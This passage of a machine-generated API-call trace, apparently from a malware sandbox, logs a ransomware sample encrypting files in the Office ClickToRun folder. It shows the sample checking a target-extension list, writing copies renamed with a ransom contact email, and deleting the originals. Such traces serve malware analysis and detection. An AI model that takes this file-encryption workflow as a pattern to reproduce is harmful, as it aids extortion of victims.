(in: hFile=0x38c, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc24 | out: lpNewFilePointer=0x0) returned 1 [0068.826] ReadFile (in: hFile=0x38c, lpBuffer=0x3a2a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc30, lpOverlapped=0x0 | out: lpBuffer=0x3a2a058*, lpNumberOfBytesRead=0x2ecfc30*=0x40000, lpOverlapped=0x0) returned 1 [0068.829] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.829] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc24 | out: lpNewFilePointer=0x0) returned 1 [0068.829] ReadFile (in: hFile=0x38c, lpBuffer=0x3a6a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc30, lpOverlapped=0x0 | out: lpBuffer=0x3a6a058*, lpNumberOfBytesRead=0x2ecfc30*=0x40000, lpOverlapped=0x0) returned 1 [0069.164] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.164] WriteFile (in: hFile=0x38c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x2ecfca8, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfca8*=0xc011a, lpOverlapped=0x0) returned 1 [0069.194] SetEndOfFile (hFile=0x38c) returned 1 [0069.194] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x440bfe0 [0069.265] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc74 | out: lpNewFilePointer=0x0) returned 1 [0069.265] WriteFile (in: hFile=0x38c, lpBuffer=0x440bfe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc80, lpOverlapped=0x0 | out: lpBuffer=0x440bfe0*, lpNumberOfBytesWritten=0x2ecfc80*=0x40000, lpOverlapped=0x0) returned 1 [0069.267] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc74 | out: lpNewFilePointer=0x0) returned 1 [0069.267] WriteFile (in: hFile=0x38c, lpBuffer=0x440bfe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc80, lpOverlapped=0x0 | out: lpBuffer=0x440bfe0*, lpNumberOfBytesWritten=0x2ecfc80*=0x40000, lpOverlapped=0x0) returned 1 [0069.269] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc74 | out: lpNewFilePointer=0x0) returned 1 [0069.269] WriteFile (in: hFile=0x38c, lpBuffer=0x440bfe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc80, lpOverlapped=0x0 | out: lpBuffer=0x440bfe0*, lpNumberOfBytesWritten=0x2ecfc80*=0x40000, lpOverlapped=0x0) returned 1 [0069.272] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0069.272] CloseHandle (hObject=0x38c) returned 1 [0069.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0069.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0069.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0069.621] lstrlenW (lpString=".doc") returned 4 [0069.621] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0069.621] lstrlenW (lpString=".docx") returned 5 [0069.621] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0069.621] lstrlenW (lpString=".pdf") returned 4 [0069.621] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0069.621] lstrlenW (lpString=".xls") returned 4 [0069.621] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0069.621] lstrlenW (lpString=".xlsx") returned 5 [0071.215] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0071.215] lstrlenW (lpString=".ppt") returned 4 [0071.216] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0071.216] lstrlenW (lpString=".zip") returned 4 [0071.216] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.216] lstrlenW (lpString=".rar") returned 4 [0071.216] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.216] lstrlenW (lpString=".bz2") returned 4 [0071.216] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.216] lstrlenW (lpString=".7z") returned 3 [0071.216] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0071.216] lstrlenW (lpString=".dbf") returned 4 [0071.216] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0071.216] lstrlenW (lpString=".1cd") returned 4 [0071.216] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0071.217] lstrlenW (lpString=".jpg") returned 4 [0071.217] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0071.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0071.217] lstrlenW (lpString=".doc") returned 4 [0071.217] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.217] lstrlenW (lpString=".docx") returned 5 [0071.217] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0071.217] lstrlenW (lpString=".pdf") returned 4 [0071.217] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.217] lstrlenW (lpString=".xls") returned 4 [0071.217] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.217] lstrlenW (lpString=".xlsx") returned 5 [0071.217] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0071.217] lstrlenW (lpString=".ppt") returned 4 [0071.217] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0071.217] lstrlenW (lpString=".zip") returned 4 [0071.217] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.217] lstrlenW (lpString=".rar") returned 4 [0071.217] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.217] lstrlenW (lpString=".bz2") returned 4 [0071.217] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.217] lstrlenW (lpString=".7z") returned 3 [0071.217] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0071.218] lstrlenW (lpString=".dbf") returned 4 [0071.218] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0071.218] lstrlenW (lpString=".1cd") returned 4 [0071.218] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0071.218] lstrlenW (lpString=".jpg") returned 4 [0071.218] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.218] lstrcmpiW (lpString1=".hash", lpString2=".save") returned -1 [0071.218] lstrlenW (lpString="i640.hash") returned 9 [0071.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0071.219] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=102) returned 1 [0071.219] CloseHandle (hObject=0x390) returned 1 [0071.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0071.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0071.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0071.219] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.219] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0071.220] GetLastError () returned 0x0 [0071.220] ReadFile (in: hFile=0x390, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x66, lpOverlapped=0x0) returned 1 [0071.221] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x70, lpOverlapped=0x0) returned 1 [0071.222] ReadFile (in: hFile=0x390, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0071.222] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xe6, lpOverlapped=0x0) returned 1 [0071.222] SetEndOfFile (hFile=0x36c) returned 1 [0071.223] CloseHandle (hObject=0x36c) returned 1 [0071.224] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.224] SetEndOfFile (hFile=0x390) returned 1 [0071.225] CloseHandle (hObject=0x390) returned 1 [0071.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0071.225] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1 [0071.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0071.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0071.226] lstrlenW (lpString=".doc") returned 4 [0071.226] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0071.226] lstrlenW (lpString=".docx") returned 5 [0071.226] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0071.226] lstrlenW (lpString=".pdf") returned 4 [0071.226] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0071.226] lstrlenW (lpString=".xls") returned 4 [0071.226] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0071.226] lstrlenW (lpString=".xlsx") returned 5 [0071.226] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0071.226] lstrlenW (lpString=".ppt") returned 4 [0071.226] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0071.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0071.226] lstrlenW (lpString=".zip") returned 4 [0071.226] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0071.226] lstrlenW (lpString=".rar") returned 4 [0071.226] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0071.226] lstrlenW (lpString=".bz2") returned 4 [0071.226] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0071.226] lstrlenW (lpString=".7z") returned 3 [0071.226] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0071.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0071.226] lstrlenW (lpString=".dbf") returned 4 [0071.226] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0071.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0071.227] lstrlenW (lpString=".1cd") returned 4 [0071.227] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0071.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0071.227] lstrlenW (lpString=".jpg") returned 4 [0071.227] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0071.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0071.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0071.227] lstrlenW (lpString=".doc") returned 4 [0071.227] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0071.227] lstrlenW (lpString=".docx") returned 5 [0071.227] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0071.227] lstrlenW (lpString=".pdf") returned 4 [0071.227] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0071.227] lstrlenW (lpString=".xls") returned 4 [0071.227] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0071.227] lstrlenW (lpString=".xlsx") returned 5 [0071.227] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0071.227] lstrlenW (lpString=".ppt") returned 4 [0071.227] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0071.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0071.227] lstrlenW (lpString=".zip") returned 4 [0071.227] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0071.227] lstrlenW (lpString=".rar") returned 4 [0071.227] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0071.228] lstrlenW (lpString=".bz2") returned 4 [0071.228] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0071.228] lstrlenW (lpString=".7z") returned 3 [0071.228] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0071.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0071.228] lstrlenW (lpString=".dbf") returned 4 [0071.228] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0071.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0071.228] lstrlenW (lpString=".1cd") returned 4 [0071.228] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0071.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0071.228] lstrlenW (lpString=".jpg") returned 4 [0071.228] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0071.228] lstrcmpiW (lpString1=".hash", lpString2=".save") returned -1 [0071.228] lstrlenW (lpString="i641033.hash") returned 12 [0071.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0071.229] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=102) returned 1 [0071.229] CloseHandle (hObject=0x390) returned 1 [0071.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0071.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0071.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0071.229] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.229] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0071.230] GetLastError () returned 0x0 [0071.230] ReadFile (in: hFile=0x390, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x66, lpOverlapped=0x0) returned 1 [0071.236] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x70, lpOverlapped=0x0) returned 1 [0071.238] ReadFile (in: hFile=0x390, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0071.238] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0071.239] SetEndOfFile (hFile=0x36c) returned 1 [0071.239] CloseHandle (hObject=0x36c) returned 1 [0071.240] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.240] SetEndOfFile (hFile=0x390) returned 1 [0071.241] CloseHandle (hObject=0x390) returned 1 [0071.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0071.241] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1 [0071.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0071.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0071.242] lstrlenW (lpString=".doc") returned 4 [0071.242] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0071.242] lstrlenW (lpString=".docx") returned 5 [0071.242] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0071.242] lstrlenW (lpString=".pdf") returned 4 [0071.242] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0071.242] lstrlenW (lpString=".xls") returned 4 [0071.242] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0071.242] lstrlenW (lpString=".xlsx") returned 5 [0071.242] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0071.242] lstrlenW (lpString=".ppt") returned 4 [0071.242] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0071.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0071.242] lstrlenW (lpString=".zip") returned 4 [0071.242] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0071.242] lstrlenW (lpString=".rar") returned 4 [0071.242] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0071.242] lstrlenW (lpString=".bz2") returned 4 [0071.242] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0071.242] lstrlenW (lpString=".7z") returned 3 [0071.243] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0071.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0071.243] lstrlenW (lpString=".dbf") returned 4 [0071.243] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0071.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0071.243] lstrlenW (lpString=".1cd") returned 4 [0071.243] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0071.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0071.243] lstrlenW (lpString=".jpg") returned 4 [0071.243] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0071.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0071.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0071.243] lstrlenW (lpString=".doc") returned 4 [0071.243] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0071.243] lstrlenW (lpString=".docx") returned 5 [0071.243] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0071.243] lstrlenW (lpString=".pdf") returned 4 [0071.243] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0071.243] lstrlenW (lpString=".xls") returned 4 [0071.243] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0071.243] lstrlenW (lpString=".xlsx") returned 5 [0071.243] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0071.243] lstrlenW (lpString=".ppt") returned 4 [0071.243] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0071.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0071.243] lstrlenW (lpString=".zip") returned 4 [0071.244] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0071.244] lstrlenW (lpString=".rar") returned 4 [0071.244] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0071.244] lstrlenW (lpString=".bz2") returned 4 [0071.244] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0071.244] lstrlenW (lpString=".7z") returned 3 [0071.244] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0071.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0071.244] lstrlenW (lpString=".dbf") returned 4 [0071.244] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0071.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0071.244] lstrlenW (lpString=".1cd") returned 4 [0071.244] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0071.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0071.244] lstrlenW (lpString=".jpg") returned 4 [0071.244] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0071.244] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0071.244] lstrlenW (lpString="IntegratedOffice.exe") returned 20 [0071.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0071.245] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=1093248) returned 1 [0071.245] CloseHandle (hObject=0x390) returned 1 [0071.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0071.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0071.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0071.246] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.246] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0071.252] GetLastError () returned 